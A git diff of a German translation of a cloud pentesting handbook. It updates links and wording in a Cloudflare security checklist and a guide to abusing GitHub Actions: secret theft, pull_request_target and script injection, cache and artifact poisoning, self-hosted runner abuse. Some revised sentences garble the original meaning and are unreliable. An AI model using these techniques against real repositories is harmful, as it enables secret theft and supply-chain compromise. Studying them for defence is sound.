diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index c39a9cc91..e3e18e17d 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -3,8 +3,8 @@
# 👽 Welcome!
- [HackTricks Cloud](README.md)
-- [About the Author$$external:https://book.hacktricks.xyz/welcome/about-the-author$$]()
-- [HackTricks Values & faq$$external:https://book.hacktricks.xyz/welcome/hacktricks-values-and-faq$$]()
+- [About the Author$$external:https://book.hacktricks.wiki/en/welcome/about-the-author.html$$]()
+- [HackTricks Values & faq$$external:https://book.hacktricks.wiki/en/welcome/hacktricks-values-and-faq.html$$]()
# 🏭 Pentesting CI/CD
@@ -408,12 +408,15 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)
- [Az - Queue Storage](pentesting-cloud/azure-security/az-services/az-queue-enum.md)
- [Az - Service Bus](pentesting-cloud/azure-security/az-services/az-servicebus-enum.md)
- [Az - SQL](pentesting-cloud/azure-security/az-services/az-sql.md)
@@ -442,9 +445,12 @@
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -454,17 +460,20 @@
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
- - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
- [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md)
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
+ - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
@@ -501,8 +510,8 @@
# 🛫 Pentesting Network Services
-- [HackTricks Pentesting Network$$external:https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network$$]()
-- [HackTricks Pentesting Services$$external:https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh$$]()
+- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
+- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 2178a8649..2ca609432 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -1,8 +1,8 @@
-# Cloudflare-Domains
+# Cloudflare Domains
{{#include ../../banners/hacktricks-training.md}}
-In jeder TLD, die in Cloudflare konfiguriert ist, gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
+In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
@@ -20,11 +20,11 @@ In jeder TLD, die in Cloudflare konfiguriert ist, gibt es einige **allgemeine Ei
- [ ] Überprüfen Sie **interessante** (sensible?) Daten in den DNS-**Einträgen**
- [ ] Überprüfen Sie auf **Subdomains**, die **sensible Informationen** nur basierend auf dem **Namen** enthalten könnten (wie admin173865324.domin.com)
- [ ] Überprüfen Sie auf Webseiten, die **nicht** **proxied** sind
-- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die direkt über CNAME oder IP-Adresse **zugänglich** sind
+- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die **direkt** über CNAME oder IP-Adresse **zugänglich** sind
- [ ] Überprüfen Sie, dass **DNSSEC** **aktiviert** ist
- [ ] Überprüfen Sie, dass **CNAME Flattening** in **allen CNAMEs** **verwendet** wird
- Dies könnte nützlich sein, um **Subdomain-Übernahmeanfälligkeiten** zu **verbergen** und die Ladezeiten zu verbessern
-- [ ] Überprüfen Sie, dass die Domains [**nicht anfällig für Spoofing sind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Überprüfen Sie, dass die Domains [**nicht anfällig für Spoofing sind**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **E-Mail**
@@ -52,12 +52,12 @@ TODO
### **Sicherheit**
-- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall**- und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
+- [ ] Im Abschnitt **`WAF`** ist es interessant zu überprüfen, ob **Firewall**- und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
- Die **`Bypass`**-Aktion wird die **Cloudflare-Sicherheits**-Funktionen für eine Anfrage **deaktivieren**. Sie sollte nicht verwendet werden.
-- [ ] Im **`Page Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine Seite verwendet wird
-- [ ] Im **`API Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine API in Cloudflare exponiert ist
-- [ ] Im **`DDoS`**-Bereich wird empfohlen, die **DDoS-Schutzmaßnahmen** zu aktivieren
-- [ ] Im **`Einstellungen`**-Bereich:
+- [ ] Im Abschnitt **`Page Shield`** wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine Seite verwendet wird
+- [ ] Im Abschnitt **`API Shield`** wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine API in Cloudflare exponiert ist
+- [ ] Im Abschnitt **`DDoS`** wird empfohlen, die **DDoS-Schutzmaßnahmen** zu aktivieren
+- [ ] Im Abschnitt **`Einstellungen`**:
- [ ] Überprüfen Sie, dass das **`Sicherheitsniveau`** **mittel** oder höher ist
- [ ] Überprüfen Sie, dass die **`Challenge Passage`** maximal 1 Stunde beträgt
- [ ] Überprüfen Sie, dass die **`Browser-Integritätsprüfung`** **aktiviert** ist
@@ -65,17 +65,17 @@ TODO
#### **CloudFlare DDoS-Schutz**
-- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert schützen (zum Beispiel von einer JS-Frontend-Seite). Möglicherweise können Sie dies nicht aktivieren, ohne den Zugriff zu unterbrechen.
+- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API schützen, die programmgesteuert (z. B. von einer JS-Frontend-Seite) aufgerufen wird. Möglicherweise können Sie dies nicht aktivieren, ohne den Zugriff zu beeinträchtigen.
- In **WAF**: Sie können **Ratenlimits nach URL-Pfad** oder für **verifizierte Bots** (Ratenbegrenzungsregeln) erstellen oder den **Zugriff** basierend auf IP, Cookie, Referrer... **blockieren**. So könnten Sie Anfragen blockieren, die nicht von einer Webseite stammen oder kein Cookie haben.
- Wenn der Angriff von einem **verifizierten Bot** kommt, fügen Sie mindestens ein **Ratenlimit** für Bots hinzu.
- Wenn der Angriff auf einen **bestimmten Pfad** abzielt, fügen Sie als Präventionsmechanismus ein **Ratenlimit** in diesem Pfad hinzu.
- Sie können auch IP-Adressen, IP-Bereiche, Länder oder ASNs aus den **Tools** in WAF **whitelisten**.
- Überprüfen Sie, ob **verwaltete Regeln** auch helfen könnten, um die Ausnutzung von Schwachstellen zu verhindern.
-- Im **Tools**-Bereich können Sie **bestimmte IPs** und **Benutzeragenten blockieren oder eine Herausforderung stellen.**
-- Bei DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
+- Im Abschnitt **Tools** können Sie **bestimmte IPs** und **Benutzeragenten blockieren oder eine Herausforderung stellen.**
+- In DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert** ist.
-- In Cloudflare-Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
-- In Cloudflare-Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **erfasste bösartige Ereignisse**
+- In Cloudflare Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
+- In Cloudflare Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **erfasste bösartige Ereignisse**
### Zugriff
@@ -89,11 +89,11 @@ _Ich konnte keine Option finden, die mit Sicherheit zu tun hat_
### Caching
-- [ ] Im **`Konfiguration`**-Bereich sollten Sie in Betracht ziehen, das **CSAM-Scanning-Tool** zu aktivieren
+- [ ] Im Abschnitt **`Konfiguration`** sollten Sie in Betracht ziehen, das **CSAM-Scanning-Tool** zu aktivieren
### **Workers-Routen**
-_Sie sollten bereits_ [_cloudflare workers_](./#workers) _überprüft haben_
+_Sie sollten bereits_ [_cloudflare workers_](#workers) _überprüft haben_
### Regeln
@@ -120,7 +120,7 @@ TODO
### Scrape Shield
- [ ] Überprüfen Sie, ob die **E-Mail-Adressenobfuskation** **aktiviert** ist
-- [ ] Überprüfen Sie, ob die **Server-seitigen Ausschlüsse** **aktiviert** sind
+- [ ] Überprüfen Sie, ob die **Serverseitigen Ausschlüsse** **aktiviert** sind
### **Zaraz**
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 07be44ca9..b46f809fc 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -16,19 +16,19 @@ Auf dieser Seite finden Sie:
## Zusammenfassung der Auswirkungen
-Für eine Einführung zu [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
+Für eine Einführung zu [**Github Actions überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions).
Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein:
-- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline** zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
+- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Berechtigungen der Pipeline** zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
- **Deployments** und andere **Artefakte** zu kompromittieren.
- Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht.
-- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren.
-- **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
+- **Code in benutzerdefinierten Workern ausführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren.
+- **Repository-Code überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
## GITHUB_TOKEN
-Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird gegeben, wenn der Administrator diese Option aktiviert:
+Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird vergeben, wenn der Administrator diese Option aktiviert:
@@ -67,7 +67,7 @@ https://api.github.com/repos///pulls//reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
-{{#tab name="PR erstellen" }}
+{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -85,7 +85,7 @@ https://api.github.com/repos///pulls \
-Liste der Secrets im Github Action-Ausgang
+Liste der Secrets im Github Action-Ausgabe
```yaml
name: list_env
on:
@@ -143,7 +143,7 @@ Es ist möglich, die Berechtigungen, die einem Github-Token in den Repositories
> [!NOTE]
> Dies wäre der einfachste Weg, Github-Aktionen zu kompromittieren, da dieser Fall voraussetzt, dass Sie **ein neues Repo in der Organisation erstellen** können oder **Schreibrechte über ein Repository** haben.
>
-> Wenn Sie sich in diesem Szenario befinden, können Sie einfach die [Post Exploitation-Techniken](./#post-exploitation-techniques-from-inside-an-action) überprüfen.
+> Wenn Sie sich in diesem Szenario befinden, können Sie einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) überprüfen.
### Ausführung aus der Repo-Erstellung
@@ -153,7 +153,7 @@ Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Git
Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Geheimnisse auf Repository- und Organisationsebene exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden).
-Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes hochgeladen werden** (je nachdem, wie auffällig Sie sein möchten):
+Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -174,7 +174,7 @@ branches:
### `pull_request`
-Der Workflow-Trigger **`pull_request`** wird jedes Mal ausgeführt, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** die **Ausführung** des Workflows **genehmigen**:
+Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**:
@@ -190,7 +190,7 @@ Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugri
Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.
> [!CAUTION]
-> **Ja, wenn der Angreifer im PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem Ursprungsrepo!**
+> **Ja, wenn der Angreifer im PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem ursprünglichen Repo!**
Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsweise **bösartige Artefakte hochladen**, selbst wenn es keine Geheimnisse oder Schreibberechtigungen für das `GITHUB_TOKEN` gibt.
@@ -198,7 +198,7 @@ Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsw
Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis).
-Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext ausgeführt wird (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext ausgeführt wird (um **nicht untrusted code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der im **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**.
@@ -217,31 +217,31 @@ workflows: [Run Tests]
types:
- completed
```
-Darüber hinaus, laut den Dokumenten: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow dies nicht konnte**.
+Außerdem, laut den Dokumenten: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **Geheimnisse und Token schreiben, selbst wenn der vorherige Workflow nicht**.
-Diese Art von Workflow könnte angegriffen werden, wenn sie **von einem Workflow abhängt**, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\
-Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die **anfällig für RCE** ist.
+Dieser Art von Workflow könnte angegriffen werden, wenn er **von einem Workflow abhängt**, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch `workflow_run` ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\
+Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`** Workflow zu übergeben und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die **anfällig für RCE** ist.
### `workflow_call`
TODO
-TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der von der Quelle oder vom geforkten PR stammt
+TODO: Überprüfen, ob der verwendete/heruntergeladene Code, wenn er von einem pull_request ausgeführt wird, der aus dem Ursprung oder vom geforkten PR stammt.
## Missbrauch von geforkter Ausführung
-Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
+Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
### Nicht vertrauenswürdige Checkout-Ausführung
-Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er wird also den **bösartigen PR-Code** ausführen), aber jemand muss ihn **zuerst autorisieren**, und er wird mit einigen [Einschränkungen](./#pull_request) ausgeführt.
+Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er wird also den **bösartigen PR-Code** ausführen), aber jemand muss ihn **zuerst autorisieren**, und er wird mit einigen [Einschränkungen](#pull_request) ausgeführt.
Im Fall eines Workflows, der **`pull_request_target` oder `workflow_run`** verwendet und von einem Workflow abhängt, der von **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem ursprünglichen Repo ausgeführt, sodass der **Angreifer den ausgeführten Code nicht kontrollieren kann**.
> [!CAUTION]
> Wenn die **Aktion** jedoch einen **expliziten PR-Checkout** hat, der **den Code vom PR** (und nicht von der Basis) **holt**, wird der vom Angreifer kontrollierte Code verwendet. Zum Beispiel (siehe Zeile 12, wo der PR-Code heruntergeladen wird):
-
# UNSICHER. Nur als Beispiel angegeben.
+
# UNSICHER. Nur als Beispiel bereitgestellt.
on:
pull_request_target
@@ -269,14 +269,14 @@ message: |
Danke!
-Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder `npm build`** ausgeführt, da die Build-Skripte und die referenzierten **Pakete vom Autor des PR** kontrolliert werden.
+Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder `npm build`** ausgeführt, da die Build-Skripte und referenzierten **Pakete vom Autor des PR** kontrolliert werden.
> [!WARNING]
> Ein GitHub-Dork, um nach anfälligen Aktionen zu suchen, ist: `event.pull_request pull_request_target extension:yml`, jedoch gibt es verschiedene Möglichkeiten, die Jobs sicher auszuführen, selbst wenn die Aktion unsicher konfiguriert ist (wie die Verwendung von Bedingungen darüber, wer der Akteur ist, der den PR generiert).
### Kontext-Skript-Injektionen
-Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte von dem **Benutzer** kontrolliert werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
+Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
{{#ref}}
gh-actions-context-script-injections.md
@@ -298,7 +298,7 @@ Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-esc
Wie in [**diesem Blogbeitrag**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, ermöglicht diese GitHub-Aktion den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.
-Das Problem ist, dass, wenn der **`path`**-Parameter nicht gesetzt ist, das Artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
+Das Problem ist, dass, wenn der **`path`**-Parameter nicht gesetzt ist, das Artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer, wenn das Artifact anfällig ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
Beispiel eines anfälligen Workflows:
```yaml
@@ -347,9 +347,9 @@ path: ./script.py
Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository **weniger als 100 Sterne vor der Namensänderung hatte**, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein **Repository mit demselben Namen** wie das gelöschte zu erstellen.
> [!CAUTION]
-> Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.
+> Wenn eine Aktion also ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.
-Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine vollständigere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu übernehmen. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
@@ -358,17 +358,17 @@ Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet
> [!NOTE]
> In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).
-### Cache-Vergiftung
+### Cache-Poisoning
-Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** kompromittiert, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
+Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** **kompromittiert**, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Artefaktvergiftung
+### Artifact-Poisoning
-Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action zu **kompromittieren**, die ein **Artefakt hochlädt**, das später von einem anderen Workflow verwendet wird, könnte er **die anderen Workflows kompromittieren**:
+Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action, die ein **Artefakt hochlädt**, das später von einem anderen Workflow verwendet wird, zu **kompromittieren**, könnte er **die anderen Workflows kompromittieren**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -464,13 +464,13 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
-### Missbrauch von selbst gehosteten Runnern
+### Missbrauch von selbstgehosteten Runnern
-Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach **`runs-on: self-hosted`** in der Github Action-Konfigurations-YAML zu suchen.
+Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastrukturen** ausgeführt werden, besteht darin, nach **`runs-on: self-hosted`** in der Github Action-Konfigurations-YAML zu suchen.
